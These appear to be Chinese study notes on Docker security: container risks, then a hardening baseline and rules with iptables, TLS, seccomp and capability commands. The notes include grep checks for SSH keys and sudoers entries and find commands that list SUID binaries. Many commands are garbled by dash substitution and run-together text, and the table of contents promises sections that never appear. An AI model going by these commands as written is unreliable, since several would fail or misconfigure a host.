Docker 安全问题与防护 (学习笔记)
文章目錄
- 1. Docker面臨的安全問題
- 1.1 Docker簡(jiǎn)介
- 1.2 Docker安全問題
- 2. Docker安全方案
- 2.1 Docker安全基線
- 2.2 Docker安全規(guī)則
- 2.3 Docker鏡像安全掃描與審計(jì)
- 2.4 Docker入侵檢測(cè)
- 2.5 Docker容器安全隔離與資源控制
- 2.5.1 namespace
- 2.5.2 cgroup
- 2.6 Docker容器系統(tǒng)調(diào)用和文件訪問的權(quán)限控制
- 2.7 安全管理docker容器敏感信息
- 3. 競(jìng)品廠商
- 3.1 [neuvector](https://neuvector.com/)
- 3.1.1 Use Cases:
- 3.1.2 Kubernetes-native Container Security
- 3.2 docker安全廠商
- 5. 內(nèi)核相關(guān)技術(shù)
- 5.1 cgroup
- 5.2 namespace
- 5.3 鏡像(Image) & 容器(Container)
- 6. 背景知識(shí)
- 6.1 sdn & openflow
- 6.2 openstack
- 6.3 Kubernetes
- 6.4 DevOps
- 6.5 Kubernetes和OpenStack到底是什么關(guān)系？
- 6.6 Micro-segmentation
- 參考資料
1. Docker面臨的安全問題
1.1 Docker簡(jiǎn)介
容器部署的新的方式是基于操作系統(tǒng)級(jí)別的虛擬化，而非硬件虛擬化。容器彼此是隔離的，與宿主機(jī)也是隔離的：它們有自己的文件系統(tǒng)，彼此之間不能看到對(duì)方的進(jìn)程，分配到的計(jì)算資源都是有限制的。它們比虛擬機(jī)更容易搭建。并且由于和基礎(chǔ)架構(gòu)、宿主機(jī)文件系統(tǒng)是解耦的，它們可以在不同類型的云上或操作系統(tǒng)上轉(zhuǎn)移。
正因?yàn)槿萜饔中∮挚?#xff0c;每一個(gè)容器鏡像都可以打包裝載一個(gè)程序。這種一對(duì)一的“程序 - 鏡像”聯(lián)系帶給了容器諸多便捷。
| Docker與虛擬機(jī)的區(qū)別 | 1、隔離與共享：虛擬機(jī)通過添加hypervisor層，虛擬出網(wǎng)卡，內(nèi)存，CPU等虛擬硬件，再在其上建立客戶機(jī)，每個(gè)客戶機(jī)都有自己的系統(tǒng)內(nèi)核。而docker容器則是通過隔離的方式，將文件系統(tǒng)，進(jìn)程，設(shè)備，網(wǎng)絡(luò)等資源進(jìn)行隔離，再對(duì)權(quán)限，CPU資源等進(jìn)行控制，最終讓容器之間互不影響，容器無法影響宿主機(jī)。容器與宿主機(jī)共享內(nèi)核，文件系統(tǒng)，硬件等資源。 2、性能與損耗：與虛擬機(jī)相比，容器資源損耗要小得多。 同樣的宿主機(jī)下，能夠建立容器的數(shù)量要比虛擬機(jī)多得多。 3、安全性：但是虛擬機(jī)的安全性要比容器好一些，要從虛擬機(jī)突破到宿主機(jī)或其他虛擬機(jī)，需要先突破hypervisor層，這是極其困難的。 而docker容器與宿主機(jī)共享內(nèi)核，文件系統(tǒng)等資源，更有可能對(duì)其他容器，宿主機(jī)產(chǎn)生影響。 |
| Docker的優(yōu)勢(shì) | 1、有了容器，靜態(tài)容器鏡像可以在編譯/發(fā)布時(shí)期創(chuàng)建，而非部署時(shí)期。因此，每個(gè)應(yīng)用不必再等待和整個(gè)應(yīng)用棧其它部分進(jìn)行整合，也不必和產(chǎn)品基礎(chǔ)架構(gòu)環(huán)境之間進(jìn)行妥協(xié)。在編譯/發(fā)布時(shí)期生成容器鏡像建立了一個(gè)持續(xù)地把開發(fā)轉(zhuǎn)化為產(chǎn)品的環(huán)境。 2、相似地，容器遠(yuǎn)比虛擬機(jī)更加透明，尤其在設(shè)備監(jiān)控和管理上。這一點(diǎn)，在容器的進(jìn)程生命周期被基礎(chǔ)架構(gòu)管理而非被容器內(nèi)的進(jìn)程監(jiān)督器隱藏掉時(shí)，尤為顯著。最終，隨著每個(gè)容器內(nèi)都裝載了單一的程序，管理容器就等于管理或部署整個(gè)應(yīng)用。 |
| Docker的局限性 | 1、LXC是基于cgroup等linux kernel功能的，因此Container的guest系統(tǒng)只能是linux base的。 2、隔離性相比KVM之類的虛擬化方案還是有些欠缺，所有container`公用`一部分的運(yùn)行庫(kù)。 3、網(wǎng)絡(luò)管理相對(duì)簡(jiǎn)單，主要是基于namespace隔離。 4、cgroup的cpu和cpuset提供的cpu功能相比KVM的等虛擬化方案相比難以度量(所以dotcloud主要是安內(nèi)存收費(fèi))。 5、container隨著用戶進(jìn)程的停止而銷毀，container中的log等用戶數(shù)據(jù)不便收集。 6、另外，Docker是面向應(yīng)用的，其終極目標(biāo)是構(gòu)建PAAS平臺(tái)，而現(xiàn)有虛擬機(jī)主要目的是提供一個(gè)靈活的計(jì)算資源池，是面向架構(gòu)的，其終極目標(biāo)是構(gòu)建一個(gè)IAAS平臺(tái)，所以它不能替代傳統(tǒng)虛擬化解決方案。 目前在容器可管理性方面，對(duì)于方便運(yùn)維，提供UI來管理監(jiān)控各個(gè)containers的功能還不足，還都是第三方實(shí)現(xiàn)。因?yàn)槿萜骷夹g(shù)本身更適于解決大規(guī)模應(yīng)用場(chǎng)景，所以通常都是集群基礎(chǔ)上的部署、運(yùn)維，但是目前對(duì)這一系列任務(wù)的自動(dòng)化處理尚無統(tǒng)一的或者標(biāo)準(zhǔn)的框架。如果要讓Docker真正在實(shí)際環(huán)境中發(fā)揮最大的效能并且易于維護(hù)，就需要有成熟穩(wěn)定的資源編排（orchestration）、資源調(diào)度（scheduling）和部署（deployment）的支持，但是這方面暫時(shí)還沒有很明顯的最佳解決方案，所以大多數(shù)人都在摸索和搭建自己的解決方案。 |
1.2 Docker安全問題
| Docker 本身 | Docker 本身是提供了新的攻擊點(diǎn)，以前可能攻擊虛擬機(jī)，Docker 出現(xiàn)之后增加了一個(gè)攻擊對(duì)象。 |
| 共享內(nèi)核 | 因?yàn)?Docker 是與宿主機(jī)共享內(nèi)核，通過攻破內(nèi)核就可以進(jìn)入到宿主機(jī)上的其他容器里，所以也提供了新的攻擊機(jī)會(huì)。 |
| Docker漏洞 | Docker 自身是一個(gè)軟件，只要是軟件就可能會(huì)有漏洞，所以 Docker 的漏洞也是一個(gè)新的挑戰(zhàn)。 |
| 調(diào)度系統(tǒng) | 然后容器需要調(diào)度系統(tǒng)，如果只是使用單一的 Docker ，可能享受的是它的環(huán)境封裝，遷移的方便性，但是在大規(guī)模使用容器之后，就要關(guān)心它的調(diào)度怎么做，那么調(diào)度系統(tǒng)也是一個(gè)新攻擊的點(diǎn)。而且這種新部署方式也會(huì)對(duì)傳統(tǒng)的安全工作帶來一些新影響 |
| Namespace，cgroup | Namespace，cgroup 不安全，且并非所有資源都已隔離。這兩種隔離都沒有進(jìn)行一個(gè)非常完整的隔離，目前它并不是像虛擬機(jī)一樣完全隔離的模式。 |
| 共享宿主機(jī)文件系統(tǒng) | 同一宿主機(jī)上的容器可以通過掛載共享宿主機(jī)文件系統(tǒng)，如果在一臺(tái)主機(jī)上，通過掛同一個(gè)目錄到不同的容器里面，那么不同的容器就可以訪問同一個(gè)目錄，所以這個(gè)時(shí)候也是會(huì)有一些安全性的問題。只要進(jìn)入其中一個(gè)容器，就可以通過這個(gè)共同掛載的目錄進(jìn)入到其他容器里面去。 |
| 網(wǎng)絡(luò)隔離 | 網(wǎng)絡(luò)的隔離是比較弱的，因?yàn)樗拗鳈C(jī)上所有的容器是使用同一張網(wǎng)卡，那么比如發(fā)生 DDOS 情況，對(duì)某個(gè)容器的攻擊就會(huì)導(dǎo)致宿主機(jī)上所有容器都會(huì)受到安全的影響。 |
Docker安全問題樹如下：
- Docker自身漏洞
Docker作為一款應(yīng)用本身實(shí)現(xiàn)上會(huì)有代碼缺陷。CVE官方記錄docker歷史版本共有超過20項(xiàng)漏洞，參見https://docs.docker.com/engine/security/non-events/。主要有代碼執(zhí)行，權(quán)限提升，信息泄露，繞過這幾類。現(xiàn)在Docker已經(jīng)到了17.03版本，版本更迭非常快，docker用戶最好將docker升級(jí)為最新版本。
- Docker源問題
Docker提供了docker hub可以讓用戶上傳創(chuàng)建的鏡像，以便其他用戶下載，快速搭建環(huán)境。但同時(shí)也帶來了一些安全問題。下載的鏡像被惡意植入后門，傳輸?shù)倪^程中鏡像被篡改， 鏡像所搭建的環(huán)境是否本身就包含漏洞等等，不一而足。主要介紹下面三種：
| 黑客上傳惡意鏡像 | 如果有黑客在制作的鏡像中植入木馬，后門等惡意軟件，那么環(huán)境從一開始就已經(jīng)不安全了，后續(xù)更沒有什么安全可言。 |
| 鏡像使用有漏洞的軟件 | 據(jù)一些報(bào)告顯示，hub上能下載的鏡像里面，75%的鏡像都安裝了有漏洞的軟件，所以下載鏡像后，需要檢查里面軟件的版本信息，對(duì)應(yīng)的版本是否存在漏洞，并及時(shí)更新打上補(bǔ)丁。 |
| 中間人攻擊篡改鏡像 | 鏡像在傳輸過程中可能被篡改，目前新版本的docker已經(jīng)提供了相應(yīng)的校驗(yàn)機(jī)制來預(yù)防這個(gè)問題。 |
- Docker架構(gòu)缺陷與安全機(jī)制
由docker本身的架構(gòu)與機(jī)制可能產(chǎn)生的問題，這一攻擊場(chǎng)景主要產(chǎn)生在黑客已經(jīng)控制了宿主機(jī)上的一些容器（或者通過在公有云上建立容器的方式獲得這個(gè)條件），然后對(duì)宿主機(jī)或其他容器發(fā)起攻擊來產(chǎn)生影響。
| 容器之間的局域網(wǎng)攻擊 | 同一主機(jī)上的容器之間可以構(gòu)成局域網(wǎng)，因此針對(duì)局域網(wǎng)的ARP欺騙，嗅探，廣播風(fēng)暴等攻擊方式便可以用上。所以在一個(gè)主機(jī)上部署多個(gè)容器需要合理的配置網(wǎng)絡(luò)，設(shè)置iptable規(guī)則。 |
| DDoS攻擊耗盡資源 | cgroups安全機(jī)制就是要防止此類攻擊的，不要為單一的容器分配過多的資源即可避免此類問題。 |
| 調(diào)用有漏洞的系統(tǒng)調(diào)用 | 我們都知道Docker與虛擬機(jī)的一個(gè)區(qū)別就是，Docker與宿主公用一個(gè)操作系統(tǒng)內(nèi)核，一旦宿主內(nèi)核存在可以橫向越權(quán)或者提權(quán)漏洞，那么盡管docker使用普通用戶執(zhí)行，一旦容器被入侵，攻擊者還是可以利用內(nèi)核漏洞逃逸到宿主，做更多事情。 |
| 共享root | 如果以root權(quán)限運(yùn)行容器，容器內(nèi)的root用戶也就擁有了宿主機(jī)的root權(quán)限。 |
| 未隔離的文件系統(tǒng) | 雖然docker已經(jīng)對(duì)文件系統(tǒng)進(jìn)行隔離，但是有一些重要的系統(tǒng)文件暫時(shí)沒有被隔離，如/sys, /proc/sys, /proc/bus等。 |
| 缺少完整的用戶namespace實(shí)現(xiàn) | 目前還沒有完整的用戶namespace實(shí)現(xiàn)。某些東西是不受Docker控制的。缺少用戶namespace的風(fēng)險(xiǎn)之一是，用戶從主機(jī)到容器的映射仍是一對(duì)一映射。以前，容器中的用戶0在主機(jī)上等于0。換句話說，如果你的容器被攻破，它不需要太多成本就能損害整臺(tái)宿主。 |
| 默認(rèn)放通所有 | 不管是網(wǎng)絡(luò)訪問，還是remote api的訪問，都是默認(rèn)放通所有的，這也為網(wǎng)絡(luò)流量攻擊和之前大規(guī)模發(fā)生Docker remote api漏洞埋下了隱患。 |
2. Docker安全方案
- 常規(guī)docker安全手段
| Namespace | Docker 的隔離是基于 Linux 的 Namespace 來做的分為六種。 重點(diǎn)UserNamespace。過去容器里的 root 就是 Host 的 root，如果能夠攻擊到容器里，就可以獲取到 Host 的 root 權(quán)限。而 User Namespace 可以讓容器里使用的 root，到 Host 上就不是 root 了。 |
| cgroup | 因?yàn)槿萜髋c主機(jī)是共享資源，需要對(duì)每一個(gè)容器使用的資源進(jìn)行控制，如果不對(duì)容器使用的資源進(jìn)行控制，當(dāng)容器遇到惡意攻擊時(shí)，它就會(huì)把整個(gè)主機(jī)資源占用完，然后就會(huì)影響主機(jī)上其他容器的運(yùn)行，所以需要對(duì)容器使用主機(jī)上的資源進(jìn)行限制。比如說 CPU，內(nèi)存這些資源，容器在出現(xiàn)異常時(shí)就不能夠使用主機(jī)上的資源，它只能使用這些已分配的資源，這樣可以有效隔離它對(duì)主機(jī)上其他容器的影響。 |
| Capability | Linux 將傳統(tǒng)超級(jí)用戶的特權(quán)劃分為多個(gè) Capabilities，有接近40項(xiàng)的 Capabilities，可以單獨(dú)啟用或者關(guān)閉，因此同為 root 用戶，權(quán)限卻因 Capabilities 的不同而存在差異。Docker 為了確保容器的安全，僅僅支持了其中的 14項(xiàng)基本的 Capabilities。針對(duì)容器可以去設(shè)置這些能力是否開啟。 |
| 內(nèi)核強(qiáng)制性的訪問控制（MAC） | Docker 容器共享宿主機(jī)的內(nèi)核，在內(nèi)核的安全上存在不少問題，需要針對(duì)內(nèi)核的破壞做防御。現(xiàn)在支持的方式有三種: SELinux (Secure Enhanced Linux)：是一個(gè)Linux安全策略機(jī)制，允許管理員更加靈活的定義安全策略。通過策略規(guī)定哪些域可以訪問哪些上下文、哪些進(jìn)程可以訪問哪些文件。 AppArmor 類似于SELinux，主要的作用是設(shè)置某個(gè)可執(zhí)行程序的訪問控制權(quán)限，可以限制程序 讀/寫某個(gè)目錄/文件，打開/讀/寫網(wǎng)絡(luò)端口等等。 GRSecurity 是一個(gè)對(duì)內(nèi)核的安全擴(kuò)展，通過智能訪問控制來阻止內(nèi)存破壞，預(yù)防0day漏洞。 這三種方式可以限制容器在使用 Host 主機(jī)內(nèi)核或者資源時(shí)，去對(duì)一些文件或者一些能力進(jìn)行一個(gè)控制，不讓它去進(jìn)行訪問。容器目前報(bào)出來的一些安全漏洞很多是通過加強(qiáng)對(duì)內(nèi)核的訪問控制來進(jìn)行一個(gè)隔離的。 |
| Seccomp | （secure computing mode），就是安全計(jì)算模式，這個(gè)模式可以設(shè)置容器在對(duì)系統(tǒng)進(jìn)行調(diào)用時(shí)進(jìn)行一些篩選，也就是所謂的白名單。它可以去指定允許容器使用哪些的調(diào)用，禁止容器使用哪些調(diào)用，這樣就可以增強(qiáng)隔離，它其實(shí)也是訪問控制的一個(gè)部分。 通過使用“–security-optseccomp=< profile>”標(biāo)記來指定自定義的 seccomp 描述文件： $ docker run -d –security-opt seccomp:allow:clock_adjtimentpd 這條命令將會(huì)允許容器內(nèi)使用 clock_adjtime 調(diào)用 $docker run -d –security-opt seccomp:deny:getcwd/bin/sh 這條命令將會(huì)禁止容器內(nèi)執(zhí)行的 shell 查詢當(dāng)前自己所在的目錄 |
| Docker client 端與 Docker Daemon 的通信安全 | Docker client 端與 Docker Daemon 的通信安全。默認(rèn)的通信方式使用的 anon-networked Unix ，這種方式并不是安全的，可以通過配置 HTTPS，讓 Docker Client 與 DockerDaemon 訪問時(shí)，是通過 HTTPS 的方式，這樣可以加強(qiáng)通信過程中的一個(gè)安全性。 $ dockerd –tlsverify –tlscacert=ca.pem–tlscert=server-cert.pem –tlskey=server-key.pem -H=0.0.0.0:2376$ docker –tlsverify –tlscacert=ca.pem–tlscert=cert.pem –tlskey=key.pem -H=$HOST:2376 version |
| 鏡像掃描的功能 | 鏡像掃描的功能，Docker Security Scanning。在下載鏡像或者構(gòu)建鏡像的過程中，可能最初的 Baseimage 是官方提供的，但是在使用的過程中，可能基于這個(gè)鏡像做了很多新的鏡像，這個(gè)鏡像投入到生產(chǎn)之前到底是否安全。Docker 現(xiàn)在提供了一個(gè)功能，就是可以對(duì)鏡像進(jìn)行安全的掃描，它可以分析這個(gè)鏡像本身是不是安全的，就是所謂的可信內(nèi)容，就是我們的內(nèi)容首先是可信的。 針對(duì)鏡像的安全還有一個(gè)就是鏡像簽名（Docker Content Trust），用于防止鏡像在傳輸?shù)倪^程中被篡改。給每個(gè)鏡像在傳輸?shù)倪^程中都進(jìn)行簽名的配置，確保這個(gè)鏡像傳輸?shù)倪^程中它是安全的。 |
2.1 Docker安全基線
這部分結(jié)合了Docker官方文檔與七牛云布道師陳愛珍的《如何打造安全的容器云平臺(tái)》整理，從內(nèi)核、主機(jī)、網(wǎng)絡(luò)、鏡像、容器以及其他等6大方面總結(jié)了Docker安全基線標(biāo)準(zhǔn)。
| 內(nèi)核級(jí)別 | · 及時(shí)更新內(nèi)核 · User NameSpace（容器內(nèi)的root權(quán)限在容器之外處于非高權(quán)限狀態(tài)） · Cgroups（對(duì)資源的配額和度量） · SELiux/AppArmor/GRSEC（控制文件訪問權(quán)限） · Capability（權(quán)限劃分） · Seccomp（限定系統(tǒng)調(diào)用） · 禁止將容器的命名空間與宿主機(jī)進(jìn)程命名空間共享 |
| 主機(jī)級(jí)別 | · 為容器創(chuàng)建獨(dú)立分區(qū) · 僅運(yùn)行必要的服務(wù) · 禁止將宿主機(jī)上敏感目錄映射到容器 · 對(duì)Docker守護(hù)進(jìn)程、相關(guān)文件和目錄進(jìn)行審計(jì) · 設(shè)置適當(dāng)?shù)哪J(rèn)文件描述符數(shù) · 用戶權(quán)限為root的Docker相關(guān)文件的訪問權(quán)限應(yīng)該為644或者更低權(quán)限 · 周期性檢查每個(gè)主機(jī)的容器清單，并清理不必要的容器 |
| 網(wǎng)絡(luò)級(jí)別 | · 通過iptables設(shè)定規(guī)則實(shí)現(xiàn)禁止或允許容器之間網(wǎng)絡(luò)流量 · 允許Dokcer修改iptables · 禁止將Docker綁定到其他IP/Port或者Unix Socket · 禁止在容器上映射特權(quán)端口 · 容器上只開放所需要的端口 · 禁止在容器上使用主機(jī)網(wǎng)絡(luò)模式 · 若宿主機(jī)有多個(gè)網(wǎng)卡，將容器進(jìn)入流量綁定到特定的主機(jī)網(wǎng)卡上 |
| 鏡像級(jí)別 | · 創(chuàng)建本地鏡像倉(cāng)庫(kù)服務(wù)器 · 鏡像中軟件都為最新版本 · 使用可信鏡像文件，并通過安全通道下載 · 重新構(gòu)建鏡像而非對(duì)容器和鏡像打補(bǔ)丁 · 合理管理鏡像標(biāo)簽，及時(shí)移除不再使用的鏡像 · 使用鏡像掃描 · 使用鏡像簽名 |
| 容器級(jí)別 | · 容器最小化，操作系統(tǒng)鏡像最小集 · 容器以單一主進(jìn)程的方式運(yùn)行 · 禁止privileged標(biāo)記使用特權(quán)容器 · 禁止在容器上運(yùn)行ssh服務(wù) · 以只讀的方式掛載容器的根目錄系統(tǒng) · 明確定義屬于容器的數(shù)據(jù)盤符 · 通過設(shè)置on-failure限制容器嘗試重啟的次數(shù) · 限制在容器中可用的進(jìn)程樹，以防止fork bomb |
| 其他設(shè)置 | · 定期對(duì)宿主機(jī)系統(tǒng)及容器進(jìn)行安全審計(jì) · 使用最少資源和最低權(quán)限運(yùn)行容器 · 避免在同一宿主機(jī)上部署大量容器，維持在一個(gè)能夠管理的數(shù)量 · 監(jiān)控Docker容器的使用，性能以及其他各項(xiàng)指標(biāo) · 增加實(shí)時(shí)威脅檢測(cè)和事件響應(yīng)功能 · 使用中心和遠(yuǎn)程日志收集服務(wù) |
2.2 Docker安全規(guī)則
Docker安全規(guī)則其實(shí)屬于Docker安全基線的具體實(shí)現(xiàn)，不過對(duì)于Docker官方提出的方案本文會(huì)直接給出實(shí)現(xiàn)方式，而對(duì)于第三方或者業(yè)界使用的方案，則只是介紹基本規(guī)則，具體實(shí)現(xiàn)方案會(huì)在本系列下部分介紹。
| 容器最小化 | 僅在容器中運(yùn)行必要的服務(wù)，像ssh等服務(wù)是絕對(duì)不能開啟的。使用以下方式來管理你的容器： docker exec -it mycontainer bash |
| Docker remote api訪問控制 | Docker的遠(yuǎn)程調(diào)用API接口存在未授權(quán)訪問漏洞，至少應(yīng)限制外網(wǎng)訪問。如果可以，建議還是使用socket方式訪問。 建議監(jiān)聽內(nèi)網(wǎng)ip或者localhost，docker daemon啟動(dòng)方式： docker -d -H uninx:///var/run/docker.sock -H tcp://10.10.10.10:2375 #或者在docker默認(rèn)配置文件指定 other_args=" -H unix:///var/run/docker.sock -H tcp://10.10.10.10:2375" 然后在宿主iptables上做訪問控制 *filter:HOST_ALLOW1 - [0:0]-A HOST_ALLOW1 -s 10.10.10.1/32 -j ACCEPT-A HOST_ALLOW1 -j DROP-A INPUT -p tcp -m tcp -d 10.10.10.10 --port 2375 -j HOST_ALLOW1 |
| 限制流量流向 | 可以使用以下iptables過濾器[7]限制Docker容器的源IP地址范圍與外界通訊。 iptables -A FORWARD -s -j REJECT --reject-with icmp-admin-prohibitedIptables -A FORWARD -i docker0 -o eth0 -j DROP-A FORWARD -i docker0 -o eth0 -m state –state ESTABLISHED -j ACCEPT 我們處理過大量因?yàn)镈ocker容器端口外放引起的漏洞，除了操作系統(tǒng)賬戶權(quán)限控制上的問題，更在于對(duì)Docker Daemon的進(jìn)程管理上存在隱患。我們都知道，目前常用的Docker版本都支持Docker Daemon管理宿主iptables的，而且一旦啟動(dòng)進(jìn)程加上-p host_port:guest_port的端口映射，Docker Daemon會(huì)直接增加對(duì)應(yīng)的FORWARD Chain并且-j ACCEPT，而默認(rèn)的DROP規(guī)則是在INPUT鏈做的，對(duì)docker沒法限制，這就留下了很嚴(yán)重的安全隱患了。因此建議： 1. 不在有外網(wǎng)ip的機(jī)器上使用Docker服務(wù) 2. 使用k8s等docker編排系統(tǒng)管理Docker容器 3. 宿主上Docker daemon啟動(dòng)命令加一個(gè)--iptables=false，然后把常用iptables寫進(jìn)文件里，再用iptables-restore去刷。 |
| 使用普通用戶啟動(dòng)Docker服務(wù) | 截至Docker 1.10用戶命名空間由docker守護(hù)程序直接支持。此功能允許容器中的root用戶映射到容器外部的非uid-0用戶，這可以幫助減輕容器中斷的風(fēng)險(xiǎn)。此功能可用，但默認(rèn)情況下不啟用。 1.使用用戶映射 要解決特定容器中的用戶0在宿主系統(tǒng)上等于root的問題，LXC允許您重新映射用戶和組ID。配置文件條目如下所示： lxc.id_map = u 0 100000 65536lxc.id_map = g 0 100000 65536 這將容器中的前65536個(gè)用戶和組ID映射到主機(jī)上的100000-165536。主機(jī)上的相關(guān)文件是/etc/subuid和/etc/subgid。此映射技術(shù)命名為從屬ID，因此稱為“子”前綴。 對(duì)于Docker，這意味著將其作為-lxc-conf參數(shù)添加到docker run： docker run -lxc-conf ="lxc.id_map = u 0 100000 65536" -lxc-conf ="lxc.id_map = g 0 100000 65536" 2.啟動(dòng)容器時(shí)不帶--privileged參數(shù) docker run -it debian8:standard /bin/bash |
| 文件系統(tǒng)限制 | 掛載的容器根目錄絕對(duì)只讀，而且不同容器對(duì)應(yīng)的文件目錄權(quán)限分離，最好是每個(gè)容器在宿主上有自己?jiǎn)为?dú)分區(qū)。 su con1docker run -v dev:/home/mc_server/con1 -it debian8:standard /bin/bashsu con2docker run -v dev:/home/mc_server/con2 -it debian8:standard /bin/bash |
| 鏡像安全 | 如下圖所示，在鏡像倉(cāng)庫(kù)客戶端使用證書認(rèn)證，對(duì)下載的鏡像進(jìn)行檢查 ，通過與CVE數(shù)據(jù)庫(kù)同步掃描鏡像，一旦發(fā)現(xiàn)漏洞則通知用戶處理，或者直接阻止鏡像繼續(xù)構(gòu)建。 如果使用的是公司自己的鏡像源，可以跳過此步；否則至少需要驗(yàn)證baseimage的md5等特征值，確認(rèn)一致后再基于baseimage進(jìn)一步構(gòu)建。 一般情況下，我們要確保只從受信任的庫(kù)中獲取鏡像，并且不要使用--insecure-registry=[]參數(shù)。具體實(shí)現(xiàn)我們?cè)诼┒磼呙璨糠忠粔K介紹。 |
| Docker client端與 Docker Daemon的通信安全 | 按照Docker官方的說法，為了放置鏈路劫持、會(huì)話劫持等問題導(dǎo)致docker通信時(shí)被中間人攻擊，c/s兩端應(yīng)該通過加密方式通訊。 docker –tlsverify –tlscacert=ca.pem –tlscert=server-cert.pem –tlskey=server-key.pem -H=0.0.0.0:2376 |
| 資源限制 | 限制容器資源使用，最好支持動(dòng)態(tài)擴(kuò)容，這樣既可以盡可能降低安全風(fēng)險(xiǎn)，也不影響業(yè)務(wù)。下面是使用樣例，限制cpu使用第2核、分配2048 docker run -tid –name ec2 –cpuset-cpus 3 –cpu-shares 2048 -memory 2048m –rm –blkio-weight 100 --pids--limit 512 更多限制可以參考Docker官方說明： --cpu-period Limit CPU CFS (Completely Fair Scheduler) period--cpu-quota Limit CPU CFS (Completely Fair Scheduler) quota--device-read-bps=[] Limit read rate (bytes per second) from a device--device-read-iops=[] Limit read rate (IO per second) from a device--device-write-bps=[] Limit write rate (bytes per second) to a device--device-write-iops=[] Limit write rate (IO per second) to a device--kernel-memory Kernel memory limit--label-file=[] Read in a line delimited file of labels-m, --memory Memory limit--memory-reservation Memory soft limit--memory-swap Swap limit equal to memory plus swap: '-1' to enable unlimited swap--pids-limit Tune container pids limit (set -1 for unlimited)--ulimit=[] Ulimit options |
| 宿主及時(shí)升級(jí)內(nèi)核漏洞 | 使用Docker容器對(duì)外提供服務(wù)時(shí)，還要考慮宿主故障或者需要升級(jí)內(nèi)核的問題。這時(shí)為了不影響在線業(yè)務(wù)，Docker容器應(yīng)該支持熱遷移，這個(gè)可以納入容器調(diào)度系統(tǒng)的功能設(shè)計(jì)中。此外，還應(yīng)考慮后續(xù)的內(nèi)核升級(jí)方案規(guī)劃、執(zhí)行以及回遷方案等。 |
| 避免docker容器中信息泄露 | 就像之前github上大量泄露個(gè)人或企業(yè)各種賬號(hào)密碼的問題，我們一般使用dockerfile或者docker-compose文件創(chuàng)建容器，如果這些文件中存在賬號(hào)密碼等認(rèn)證信息，一旦docker容器對(duì)外開放，則這些宿主機(jī)上的敏感信息也會(huì)隨之泄露。因此可以通過以下方式檢查容器創(chuàng)建模板的內(nèi)容： # check created usersgrep authorized_keys $dockerfile# check OS usersgrep "etc/group" $dockerfile# Check sudo usersgrep "etc/sudoers.d" $dockerfile# Check ssh key pairgrep ".ssh/.*id_rsa" $dockerfile# Add your checks in below |
| 安裝安全加固 | 如果可能，使用安全的Linux內(nèi)核、內(nèi)核補(bǔ)丁。如SELinux，AppArmor，GRSEC等，都是Docker官方推薦安裝的安全加固組件。 如果先前已經(jīng)安裝并配置過SELinux，那么可以在容器使用setenforce 1來啟用它。Docker守護(hù)進(jìn)程的SELinux功能默認(rèn)是禁用的，需要使用--selinux-enabled來啟用。容器的標(biāo)簽限制可使用新增的—-security-opt加載SELinux或者AppArmor的策略進(jìn)行配置，該功能在Docker版本1.3[9]引入。例如： docker run --security-opt=secdriver:name:value -i -t centos bash SELinux的相關(guān)選項(xiàng)： --security-opt ="label:user:USER"（設(shè)置標(biāo)簽用戶）--security-opt ="label:role:ROLE"（設(shè)置標(biāo)簽角色）--security-opt ="label:type:TYPE"（設(shè)置標(biāo)簽類型）--security-opt ="label:level:LEVEL"（設(shè)置標(biāo)簽級(jí)別）--security-opt ="label:disable"（完全禁用標(biāo)簽限制） AppArmor的選項(xiàng)： --secutity-opt ="apparmor:PROFILE"（設(shè)置AppArmor配置文件） GRSEC的選項(xiàng)： gradm -F -L /etc/grsec/learning.logs GRSEC的更多說明請(qǐng)參考：https://en.wikibooks.org/wiki/Grsecurity |
| 限制系統(tǒng)命令調(diào)用 | 1.系統(tǒng)調(diào)用層面： Linux系統(tǒng)調(diào)用列表見：http://www.ibm.com/developerworks/cn/linux/kernel/syscall/part1/appendix.html Seccomp（secure computing mode），就是安全計(jì)算模式，這個(gè)模式可以設(shè)置容器在對(duì)系統(tǒng)進(jìn)行調(diào)用時(shí)進(jìn)行一些篩選，也就是所謂的白名單。它可以去指定允許容器使用哪些的調(diào)用，禁止容器使用哪些調(diào)用，這樣就可以增強(qiáng)隔離，它其實(shí)也是訪問控制的一個(gè)部分。 2.函數(shù)調(diào)用層面 通過使用“–security-optseccomp=”標(biāo)記來指定自定義的 seccomp 描述文件： $ docker run -d –security-opt seccomp:allow:clock_adjtime ntpd 這條命令將會(huì)允許容器內(nèi)使用 clock_adjtime 調(diào)用 $docker run -d –security-opt seccomp:deny:getcwd /bin/sh 這條命令將會(huì)禁止容器內(nèi)執(zhí)行的 shell 查詢當(dāng)前自己所在的目錄 --security-opt=[]Security Options"label=user:USER" : Set the label user for the container"label=role:ROLE" : Set the label role for the container"label=type:TYPE" : Set the label type for the container"label=level:LEVEL" : Set the label level for the container"label=disable" : Turn off label confinement for the container"no-new-privileges" : Disable container processes from gaining additional privileges"seccomp=unconfined" : Turn off seccomp confinement for the container"seccomp=profile.json : White listed syscalls seccomp Json file to be used as a seccomp filter"apparmor=unconfined" : Turn off apparmor confinement for the container"apparmor=your-profile" : Set the apparmor confinement profile for the container 在沒有缺省secconf配置文件的情況下運(yùn)行，可以通過unconfined運(yùn)行配置不在默認(rèn)seccomp配置文件的容器。 $ docker run --rm -it --security-opt seccomp =ulimit-debian：jessie \ unshare --map-root-user --user sh -c whoami |
| suid和guid限制 | SUID和GUID程序在受攻擊導(dǎo)致任意代碼執(zhí)行（如緩沖區(qū)溢出）時(shí)將非常危險(xiǎn)，因?yàn)樗鼈儗⑦\(yùn)行在進(jìn)程文件所有者或組的上下文中。如果可能的話，使用特定的命令行參數(shù)減少賦予容器的能力，阻止SUID和SGID生效。 docker run -it --rm --cap-drop SETUID --cap-drop SETGID 還有種做法，可以考慮在掛載文件系統(tǒng)時(shí)使用nosuid屬性來移除掉SUID能力。最后一種做法是，刪除系統(tǒng)中不需要的SUID和GUID程序。這類程序可在Linux系統(tǒng)中運(yùn)行以下命令而找到： find / -perm -4000 -exec ls -l {} \; 2>/dev/null find / -perm -2000 -exec ls -l {} \; 2>/dev/null 然后，可以使用類似于下面的命令將移除SUID和GUID文件權(quán)限： sudo chmod u-s filename sudo chmod -R g-s directory |
| 能力限制 | 盡可能降低Linux能力。 Docker默認(rèn)的能力包括：chown、dac_override、fowner、kill、setgid、setuid、setpcap、net_bind_service、net_raw、sys_chroot、mknod、setfcap、和audit_write。在命令行啟動(dòng)容器時(shí)，可以通過--cap-add=[]或--cap-drop=[]進(jìn)行控制。例如： docker run --cap-drop setuid --cap-drop setgid -ti /bin/sh 此功能在Docker 1.2版本引入。 |
